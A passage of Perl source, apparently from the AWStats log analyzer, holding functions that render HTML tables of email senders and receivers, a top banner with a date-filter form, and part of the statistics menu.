9649			  . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
9650			  . "</td>";
9651		}
9652		if ( $ShowEMailSenders =~ /L/i ) {
9653			print "<td nowrap=\"nowrap\">"
9654			  . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
9655			  . "</td>";
9656		}
9657		print "</tr>\n";
9658
9659		#$total_p += $_emails_p{$key};
9660		$total_h += $_emails_h{$key};
9661		$total_k += $_emails_k{$key};
9662		$count++;
9663	}
9664	$rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
9665	$rest_h = $TotalHits - $total_h;
9666	$rest_k = $TotalBytes - $total_k;
9667	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
9668		print
9669"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9670		if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
9671		if ( $ShowEMailSenders =~ /B/i ) {
9672			print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9673		}
9674		if ( $ShowEMailSenders =~ /M/i ) {
9675			print "<td nowrap=\"nowrap\">"
9676			  . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9677		}
9678		if ( $ShowEMailSenders =~ /L/i ) { print "<td>&nbsp;</td>"; }
9679		print "</tr>\n";
9680	}
9681	&tab_end();
9682}
9683
9684#------------------------------------------------------------------------------
9685# Function:     Prints HTML to display an email receivers chart
9686# Parameters:   -
9687# Input:        $NewLinkParams, NewLinkTarget
9688# Output:       HTML
9689# Return:       -
9690#------------------------------------------------------------------------------
9691sub HTMLShowEmailReceiversChart {
9692	my $NewLinkParams         = shift;
9693	my $NewLinkTarget         = shift;
9694	my $MaxLengthOfShownEMail = 48;
9695
9696	my $total_p;
9697	my $total_h;
9698	my $total_k;
9699	my $max_p;
9700	my $max_h;
9701	my $max_k;
9702	my $rest_p;
9703	my $rest_h;
9704	my $rest_k;
9705
9706	# Show filter form
9707	#&ShowFormFilter("emailrfilter",$EmailrFilter);
9708	# Show emails list
9709
9710	print "$Center<a name=\"emailreceivers\">&nbsp;</a><br />\n";
9711	my $title;
9712	if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
9713		$title = "$Message[132]";
9714	}
9715	else {
9716		$title =
9717"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
9718		  . (
9719			$ENV{'GATEWAY_INTERFACE'}
9720			  || !$StaticLinks
9721			? XMLEncode("$AWScript${NewLinkParams}output=allemailr")
9722			: "$StaticLinks.allemailr.$StaticExt"
9723		  )
9724		  . "\"$NewLinkTarget>$Message[80]</a>";
9725		if ( $ShowEMailReceivers =~ /L/i ) {
9726			$title .= " &nbsp; - &nbsp; <a href=\""
9727			  . (
9728				$ENV{'GATEWAY_INTERFACE'}
9729				  || !$StaticLinks
9730				? XMLEncode("$AWScript${NewLinkParams}output=lastemailr")
9731				: "$StaticLinks.lastemailr.$StaticExt"
9732			  )
9733			  . "\"$NewLinkTarget>$Message[9]</a>";
9734		}
9735	}
9736	&tab_head( "$title", 19, 0, 'emailreceivers' );
9737	print
9738"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
9739	  . ( scalar keys %_emailr_h ) . "</th>";
9740	if ( $ShowEMailReceivers =~ /H/i ) {
9741		print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9742		  . Tooltip(4)
9743		  . ">$Message[57]</th>";
9744	}
9745	if ( $ShowEMailReceivers =~ /B/i ) {
9746		print
9747"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9748		  . Tooltip(5)
9749		  . ">$Message[75]</th>";
9750	}
9751	if ( $ShowEMailReceivers =~ /M/i ) {
9752		print
9753"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9754	}
9755	if ( $ShowEMailReceivers =~ /L/i ) {
9756		print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9757	}
9758	print "</tr>\n";
9759	print
9760"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
9761	$total_p = $total_h = $total_k = 0;
9762	$max_h = 1;
9763	foreach ( values %_emailr_h ) {
9764		if ( $_ > $max_h ) { $max_h = $_; }
9765	}
9766	$max_k = 1;
9767	foreach ( values %_emailr_k ) {
9768		if ( $_ > $max_k ) { $max_k = $_; }
9769	}
9770	my $count = 0;
9771	if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
9772		&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
9773			\%_emailr_h );
9774	}
9775	if ( $HTMLOutput{'allemailr'} ) {
9776		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9777			\%_emailr_h );
9778	}
9779	if ( $HTMLOutput{'lastemailr'} ) {
9780		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9781			\%_emailr_l );
9782	}
9783	foreach my $key (@keylist) {
9784		my $newkey = $key;
9785		if ( length($key) > $MaxLengthOfShownEMail ) {
9786			$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9787		}
9788		my $bredde_h = 0;
9789		my $bredde_k = 0;
9790		if ( $max_h > 0 ) {
9791			$bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
9792		}
9793		if ( $max_k > 0 ) {
9794			$bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
9795		}
9796		print "<tr>";
9797		my $direction = IsLocalEMail($key);
9798
9799		if ( $direction > 0 ) {
9800			print "<td class=\"aws\">$newkey</td><td>&lt;-</td><td>&nbsp;</td>";
9801		}
9802		if ( $direction == 0 ) {
9803			print
9804"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9805		}
9806		if ( $direction < 0 ) {
9807			print "<td class=\"aws\">&nbsp;</td><td>-&gt;</td><td>$newkey</td>";
9808		}
9809		if ( $ShowEMailReceivers =~ /H/i ) {
9810			print "<td>$_emailr_h{$key}</td>";
9811		}
9812		if ( $ShowEMailReceivers =~ /B/i ) {
9813			print "<td nowrap=\"nowrap\">"
9814			  . Format_Bytes( $_emailr_k{$key} ) . "</td>";
9815		}
9816		if ( $ShowEMailReceivers =~ /M/i ) {
9817			print "<td nowrap=\"nowrap\">"
9818			  . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
9819			  . "</td>";
9820		}
9821		if ( $ShowEMailReceivers =~ /L/i ) {
9822			print "<td nowrap=\"nowrap\">"
9823			  . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
9824			  . "</td>";
9825		}
9826		print "</tr>\n";
9827
9828		#$total_p += $_emailr_p{$key};
9829		$total_h += $_emailr_h{$key};
9830		$total_k += $_emailr_k{$key};
9831		$count++;
9832	}
9833	$rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
9834	$rest_h = $TotalHits - $total_h;
9835	$rest_k = $TotalBytes - $total_k;
9836	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
9837	{                                   # All other receiver emails
9838		print
9839"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9840		if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
9841		if ( $ShowEMailReceivers =~ /B/i ) {
9842			print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9843		}
9844		if ( $ShowEMailReceivers =~ /M/i ) {
9845			print "<td nowrap=\"nowrap\">"
9846			  . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9847		}
9848		if ( $ShowEMailReceivers =~ /L/i ) { print "<td>&nbsp;</td>"; }
9849		print "</tr>\n";
9850	}
9851	&tab_end();
9852}
9853
9854#------------------------------------------------------------------------------
9855# Function:     Prints the top banner of the inner frame or static page
9856# Parameters:   $WIDTHMENU1
9857# Input:        _
9858# Output:       HTML
9859# Return:       -
9860#------------------------------------------------------------------------------
9861sub HTMLTopBanner{
9862	my $WIDTHMENU1 = shift;
9863	my $frame = ( $FrameName eq 'mainleft' );
9864
9865	if ($Debug) { debug( "ShowTopBan", 2 ); }
9866	print "$Center<a name=\"menu\">&nbsp;</a>\n";
9867
9868	if ( $FrameName ne 'mainleft' ) {
9869		my $NewLinkParams = ${QueryString};
9870		$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
9871		$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
9872		$NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
9873		$NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
9874		$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
9875		$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
9876		$NewLinkParams =~ s/^&amp;//;
9877		$NewLinkParams =~ s/&amp;$//;
9878		my $NewLinkTarget = '';
9879
9880		if ( $FrameName eq 'mainright' ) {
9881			$NewLinkTarget = " target=\"_parent\"";
9882		}
9883		print "<form name=\"FormDateFilter\" action=\""
9884		  . XMLEncode("$AWScript${NewLinkParams}")
9885		  . "\" style=\"padding: 0px 0px 20px 0px; margin-top: 0\"$NewLinkTarget>\n";
9886	}
9887
9888	if ( $QueryString !~ /buildpdf/i ) {
9889		print
9890"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
9891		print "<tr><td>\n";
9892		print
9893"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
9894	}
9895	else {
9896		print "<table width=\"100%\">\n";
9897	}
9898
9899	if ( $FrameName ne 'mainright' ) {
9900
9901		# Print Statistics Of
9902		if ( $FrameName eq 'mainleft' ) {
9903			my $shortSiteDomain = $SiteDomain;
9904			if ( length($SiteDomain) > 30 ) {
9905				$shortSiteDomain =
9906				    substr( $SiteDomain, 0, 20 ) . "..."
9907				  . substr( $SiteDomain, length($SiteDomain) - 5, 5 );
9908			}
9909			print
9910"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
9911		}
9912		else {
9913			print
9914"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b>&nbsp;</td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
9915		}
9916
9917		# Logo and flags
9918		if ( $FrameName ne 'mainleft' ) {
9919			if ( $LogoLink =~ "http://www.awstats.org" ) {
9920				print "<td align=\"right\" rowspan=\"3\"><a href=\""
9921				  . XMLEncode($LogoLink)
9922				  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
9923				  . AltTitle( ucfirst($PROG) . " Web Site" )
9924				  . " /></a>";
9925			}
9926			else {
9927				print "<td align=\"right\" rowspan=\"3\"><a href=\""
9928				  . XMLEncode($LogoLink)
9929				  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
9930			}
9931			if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
9932			print "</td>";
9933		}
9934		print "</tr>\n";
9935	}
9936	if ( $FrameName ne 'mainleft' ) {
9937
9938		# Print Last Update
9939		print
9940"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b>&nbsp;</td>";
9941		print
9942"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
9943		if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
9944		else {
9945
9946			# Here NbOfOldLines = 0 (because LastUpdate is not defined)
9947			if ( !$UpdateStats ) {
9948				print "<span style=\"color: #880000\">$Message[24]</span>";
9949			}
9950			else {
9951				print
9952 "<span style=\"color: #880000\">No qualified records found in log
9953 ($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank,
9954 $NbOfLinesDropped dropped)</span>";
9955			}
9956		}
9957		print "</span>";
9958
9959		# Print Update Now link
9960		if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
9961			my $NewLinkParams = ${QueryString};
9962			$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
9963			$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
9964			$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
9965			if ( $FrameName eq 'mainright' ) {
9966				$NewLinkParams .= "&amp;framename=mainright";
9967			}
9968			$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
9969			$NewLinkParams =~ s/^&amp;//;
9970			$NewLinkParams =~ s/&amp;$//;
9971			if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
9972			print "&nbsp; &nbsp; &nbsp; &nbsp;";
9973			print "<a href=\""
9974			  . XMLEncode("$AWScript${NewLinkParams}update=1")
9975			  . "\">$Message[74]</a>";
9976		}
9977		print "</td>";
9978
9979		# Logo and flags
9980		if ( $FrameName eq 'mainright' ) {
9981			if ( $LogoLink =~ "http://www.awstats.org" ) {
9982				print "<td align=\"right\" rowspan=\"2\"><a href=\""
9983				  . XMLEncode($LogoLink)
9984				  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
9985				  . AltTitle( ucfirst($PROG) . " Web Site" )
9986				  . " /></a>\n";
9987			}
9988			else {
9989				print "<td align=\"right\" rowspan=\"2\"><a href=\""
9990				  . XMLEncode($LogoLink)
9991				  . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
9992			}
9993			if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
9994			print "</td>";
9995		}
9996
9997		print "</tr>\n";
9998
9999		# Print selected period of analysis (month and year required)
10000		print
10001"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
10002		print "<td class=\"aws\" valign=\"middle\">";
10003		if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
10004			print "<select class=\"aws_formfield\" name=\"databasebreak\">\n";
10005			print "<option"
10006			  . ( $DatabaseBreak eq "month" ? " selected=\"selected\"" : "" )
10007			  . " value=\"month\">Monthly</option>\n";
10008			print "<option"
10009			  . ( $DatabaseBreak eq "day" ? " selected=\"selected\"" : "" )
10010			  . " value=\"day\">Daily</option>\n";
10011			print "<option"
10012			  . ( $DatabaseBreak eq "hour" ? " selected=\"selected\"" : "" )
10013			  . " value=\"hour\">Hourly</option>\n";
10014			print "</select>\n";
10015
10016			print "<select class=\"aws_formfield\" name=\"month\">\n";
10017			foreach ( 1 .. 12 ) {
10018				my $monthix = sprintf( "%02s", $_ );
10019				print "<option"
10020				  . (
10021					  "$MonthRequired" eq "$monthix"
10022					? " selected=\"selected\""
10023					: ""
10024				  )
10025				  . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
10026			}
10027			if ( $AllowFullYearView >= 2 ) {
10028				print "<option"
10029				  . ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" )
10030				  . " value=\"all\">- $Message[6] -</option>\n";
10031			}
10032			print "</select>\n";
10033			print "<select class=\"aws_formfield\" name=\"year\">\n";
10034
10035			# Add YearRequired in list if not in ListOfYears
10036			$ListOfYears{$YearRequired} ||= $MonthRequired;
10037			foreach ( sort keys %ListOfYears ) {
10038				print "<option"
10039				  . ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" )
10040				  . " value=\"$_\">$_</option>\n";
10041			}
10042			print "</select>\n";
10043
10044			if (	$DatabaseBreak eq 'day' ||
10045					$DatabaseBreak eq 'hour') {
10046				if (!$DayRequired) {
10047					$DayRequired = $nowday;
10048				}
10049				print "<select class=\"aws_formfield\" name=\"day\">\n";
10050				foreach ( 1 .. 31 ) {
10051					print "<option"
10052					  . ( $DayRequired eq "$_" ? " selected=\"selected\"" : "" )
10053					  . " value=\"$_\">$_</option>\n";
10054				}
10055				print "</select>\n";
10056			}
10057
10058			if (	$DatabaseBreak eq 'hour') {
10059				if (!$HourRequired) {
10060					$HourRequired = $nowhour;
10061				}
10062				print "<select class=\"aws_formfield\" name=\"day\">\n";
10063				foreach ( 1 .. 31 ) {
10064					print "<option"
10065					  . ( $HourRequired eq "$_" ? " selected=\"selected\"" : "" )
10066					  . " value=\"$_\">$_</option>\n";
10067				}
10068				print "</select>\n";
10069			}
10070
10071			print "<input type=\"hidden\" name=\"output\" value=\""
10072			  . join( ',', keys %HTMLOutput )
10073			  . "\" />\n";
10074			if ($SiteConfig) {
10075				print
10076"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
10077			}
10078			if ($DirConfig) {
10079				print
10080"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
10081			}
10082			if ( $QueryString =~ /lang=(\w+)/i ) {
10083				print
10084				  "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
10085			}
10086			if ( $QueryString =~ /debug=(\d+)/i ) {
10087				print
10088				  "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
10089			}
10090			if ( $FrameName eq 'mainright' ) {
10091				print
10092"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
10093			}
10094			print
10095"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
10096		}
10097		else {
10098			print "<span style=\"font-size: 14px;\">";
10099			if ($DayRequired) { print "$Message[4] $DayRequired - "; }
10100			if ( $MonthRequired eq 'all' ) {
10101				print "$Message[6] $YearRequired";
10102			}
10103			else {
10104				print
10105				  "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
10106			}
10107			print "</span>";
10108		}
10109		print "</td></tr>\n";
10110	}
10111	if ( $QueryString !~ /buildpdf/i ) {
10112		print "</table>\n";
10113		print "</td></tr></table>\n";
10114	}
10115	else {
10116		print "</table>\n";
10117	}
10118
10119	if ( $FrameName ne 'mainleft' ) { print "</form><br />\n"; }
10120	else { print "<br />\n"; }
10121	print "\n";
10122}
10123
10124#------------------------------------------------------------------------------
10125# Function:     Prints the menu in a frame or below the top banner
10126# Parameters:   _
10127# Input:        _
10128# Output:       HTML
10129# Return:       -
10130#------------------------------------------------------------------------------
10131sub HTMLMenu{
10132	my $NewLinkParams = shift;
10133	my $NewLinkTarget = shift;
10134	my $frame = ( $FrameName eq 'mainleft' );
10135
10136	if ($Debug) { debug( "ShowMenu", 2 ); }
10137
10138	# Print menu links
10139	if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
10140		|| $FrameName eq 'mainleft' )
10141	{    # If main page asked
10142		    # Define link anchor
10143		my $linkanchor =
10144		  ( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" );
10145		if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
10146			$linkanchor .= "framename=mainright";
10147		}
10148		$linkanchor =~ s/(&|&amp;)$//;
10149		$linkanchor = XMLEncode("$linkanchor");
10150
10151		# Define target
10152		my $targetpage =
10153		  ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
10154
10155		# Print Menu
10156		my $linetitle;    # TODO a virer
10157		if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
10158			my $menuicon = 0;    # TODO a virer
10159			                     # Menu HTML
10160			print "<table"
10161			  . (
10162				$frame
10163				? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
10164				: ""
10165			  )
10166			  . ">\n";
10167			if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
10168				print( $frame? "<tr><td class=\"awsm\">" : "" );
10169				print
10170"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
10171				print( $frame? "</td></tr>\n" : " &nbsp; " );
10172			}
10173			my %menu     = ();
10174			my %menulink = ();
10175			my %menutext = ();
10176
10177			# When
10178			%menu = (
10179				'month'       => $ShowMonthStats       ? 1 : 0,
10180				'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
10181				'daysofweek'  => $ShowDaysOfWeekStats  ? 3 : 0,
10182				'hours'       => $ShowHoursStats       ? 4 : 0
10183			);
10184			%menulink = (
10185				'month'       => 1,
10186				'daysofmonth' => 1,
10187				'daysofweek'  => 1,
10188				'hours'       => 1
10189			);
10190			%menutext = (
10191				'month'       => $Message[162],
10192				'daysofmonth' => $Message[138],
10193				'daysofweek'  => $Message[91],
10194				'hours'       => $Message[20]
10195			);
10196			HTMLShowMenuCateg(
10197				'when',         $Message[93],
10198				'menu4.png',    $frame,
10199				$targetpage,    $linkanchor,
10200				$NewLinkParams, $NewLinkTarget,
10201				\%menu,         \%menulink,
10202				\%menutext
10203			);
10204
10205			# Who
10206			%menu = (
10207				'countries'  => $ShowDomainsStats ? 1 : 0,
10208				'alldomains' => $ShowDomainsStats ? 2 : 0,
10209				'visitors'   => $ShowHostsStats   ? 3 : 0,
10210				'allhosts'   => $ShowHostsStats   ? 4 : 0,
10211				'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
10212				'unknownip' => $ShowHostsStats         ? 6 : 0,
10213				'logins'    => $ShowAuthenticatedUsers ? 7 : 0,
10214				'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
10215				'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
10216				'emailsenders' => $ShowEMailSenders ? 10 : 0,
10217				'allemails'    => $ShowEMailSenders ? 11 : 0,
10218				'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
10219				'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
10220				'allemailr'      => $ShowEMailReceivers ? 14 : 0,
10221				'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
10222				'robots'    => $ShowRobotsStats ? 16 : 0,
10223				'allrobots' => $ShowRobotsStats ? 17 : 0,
10224				'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
10225				'worms' => $ShowWormsStats ? 19 : 0
10226			);
10227			%menulink = (
10228				'countries'      => 1,
10229				'alldomains'     => 2,
10230				'visitors'       => 1,
10231				'allhosts'       => 2,
10232				'lasthosts'      => 2,
10233				'unknownip'      => 2,
10234				'logins'         => 1,
10235				'alllogins'      => 2,
10236				'lastlogins'     => 2,
10237				'emailsenders'   => 1,
10238				'allemails'      => 2,
10239				'lastemails'     => 2,
10240				'emailreceivers' => 1,
10241				'allemailr'      => 2,
10242				'lastemailr'     => 2,
10243				'robots'         => 1,
10244				'allrobots'      => 2,
10245				'lastrobots'     => 2,
10246				'worms'          => 1
10247			);
10248			%menutext = (
10249				'countries'      => $Message[148],
10250				'alldomains'     => $Message[80],
10251				'visitors'       => $Message[81],
10252				'allhosts'       => $Message[80],
10253				'lasthosts'      => $Message[9],
10254				'unknownip'      => $Message[45],
10255				'logins'         => $Message[94],
10256				'alllogins'      => $Message[80],
10257				'lastlogins'     => $Message[9],
10258				'emailsenders'   => $Message[131],
10259				'allemails'      => $Message[80],
10260				'lastemails'     => $Message[9],
10261				'emailreceivers' => $Message[132],
10262				'allemailr'      => $Message[80],
10263				'lastemailr'     => $Message[9],
10264				'robots'         => $Message[53],
10265				'allrobots'      => $Message[80],
10266				'lastrobots'     => $Message[9],
10267				'worms'          => $Message[136]
10268			);
10269			HTMLShowMenuCateg(
10270				'who',          $Message[92],
10271				'menu5.png',    $frame,
10272				$targetpage,    $linkanchor,
10273				$NewLinkParams, $NewLinkTarget,
10274				\%menu,         \%menulink,
10275				\%menutext
10276			);
10277
10278			# Navigation
10279			$linetitle = &AtLeastOneNotNull(
10280				$ShowSessionsStats,  $ShowPagesStats,
10281				$ShowFileTypesStats, $ShowFileSizesStats,
10282				$ShowOSStats,        $ShowBrowsersStats,
10283				$ShowScreenSizeStats, $ShowDownloadsStats
10284			);
10285			if ($linetitle) {
10286				print "<tr><td class=\"awsm\""
10287				  . ( $frame ? "" : " valign=\"top\"" ) . ">"
10288				  . (
10289					$menuicon
10290					? "<img src=\"$DirIcons/other/menu2.png\" />&nbsp;"
10291					: ""
10292				  )
10293				  . "<b>$Message[72]:</b></td>\n";
10294			}
10295			if ($linetitle) {
10296				print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
10297			}
10298			if ($ShowSessionsStats) {
10299				print( $frame? "<tr><td class=\"awsm\">" : "" );
10300				print
10301"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
10302				print( $frame? "</td></tr>\n" : " &nbsp; " );
10303			}
10304			if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) {
10305				print( $frame? "<tr><td class=\"awsm\">" : "" );
10306				print
10307"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
10308				print( $frame? "</td></tr>\n" : " &nbsp; " );
10309			}
10310			if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) {
10311				print( $frame? "<tr><td class=\"awsm\">" : "" );
10312				print
10313"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>";
10314				print( $frame? "</td></tr>\n" : " &nbsp; " );
10315				print( $frame
10316					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10317					: ""
10318				);
10319				print "<a href=\""
10320				  . (
10321					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10322					? XMLEncode(
10323						"$AWScript${NewLinkParams}output=downloads")
10324					: "$StaticLinks.downloads.$StaticExt"
10325				  )
10326				  . "\"$NewLinkTarget>$Message[80]</a>\n";
10327				print( $frame? "</td></tr>\n" : " &nbsp; " );
10328			}
10329			if ($ShowPagesStats) {
10330				print( $frame? "<tr><td class=\"awsm\">" : "" );
10331				print
10332"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
10333				print( $frame? "</td></tr>\n" : " &nbsp; " );
10334			}
10335			if ($ShowPagesStats) {
10336				print( $frame
10337					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10338					: ""
10339				);
10340				print "<a href=\""
10341				  . (
10342					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10343					? XMLEncode(
10344						"$AWScript${NewLinkParams}output=urldetail")
10345					: "$StaticLinks.urldetail.$StaticExt"
10346				  )
10347				  . "\"$NewLinkTarget>$Message[80]</a>\n";
10348				print( $frame? "</td></tr>\n" : " &nbsp; " );
10349			}
10350			if ( $ShowPagesStats =~ /E/i ) {
10351				print( $frame
10352					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10353					: ""
10354				);
10355				print "<a href=\""
10356				  . (
10357					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10358					? XMLEncode(
10359						"$AWScript${NewLinkParams}output=urlentry")
10360					: "$StaticLinks.urlentry.$StaticExt"
10361				  )
10362				  . "\"$NewLinkTarget>$Message[104]</a>\n";
10363				print( $frame? "</td></tr>\n" : " &nbsp; " );
10364			}
10365			if ( $ShowPagesStats =~ /X/i ) {
10366				print( $frame
10367					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10368					: ""
10369				);
10370				print "<a href=\""
10371				  . (
10372					$ENV{'GATEWAY_INTERFACE'}
10373					  || !$StaticLinks
10374					? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
10375					: "$StaticLinks.urlexit.$StaticExt"
10376				  )
10377				  . "\"$NewLinkTarget>$Message[116]</a>\n";
10378				print( $frame? "</td></tr>\n" : " &nbsp; " );
10379			}
10380			if ($ShowOSStats) {
10381				print( $frame? "<tr><td class=\"awsm\">" : "" );
10382				print
10383				  "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
10384				print( $frame? "</td></tr>\n" : " &nbsp; " );
10385			}
10386			if ($ShowOSStats) {
10387				print( $frame
10388					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10389					: ""
10390				);
10391				print "<a href=\""
10392				  . (
10393					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10394					? XMLEncode(
10395						"$AWScript${NewLinkParams}output=osdetail")
10396					: "$StaticLinks.osdetail.$StaticExt"
10397				  )
10398				  . "\"$NewLinkTarget>$Message[58]</a>\n";
10399				print( $frame? "</td></tr>\n" : " &nbsp; " );
10400			}
10401			if ($ShowOSStats) {
10402				print( $frame
10403					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10404					: ""
10405				);
10406				print "<a href=\""
10407				  . (
10408					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10409					? XMLEncode(
10410						"$AWScript${NewLinkParams}output=unknownos")
10411					: "$StaticLinks.unknownos.$StaticExt"
10412				  )
10413				  . "\"$NewLinkTarget>$Message[0]</a>\n";
10414				print( $frame? "</td></tr>\n" : " &nbsp; " );
10415			}
10416			if ($ShowBrowsersStats) {
10417				print( $frame? "<tr><td class=\"awsm\">" : "" );
10418				print
10419"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
10420				print( $frame? "</td></tr>\n" : " &nbsp; " );
10421			}
10422			if ($ShowBrowsersStats) {
10423				print( $frame
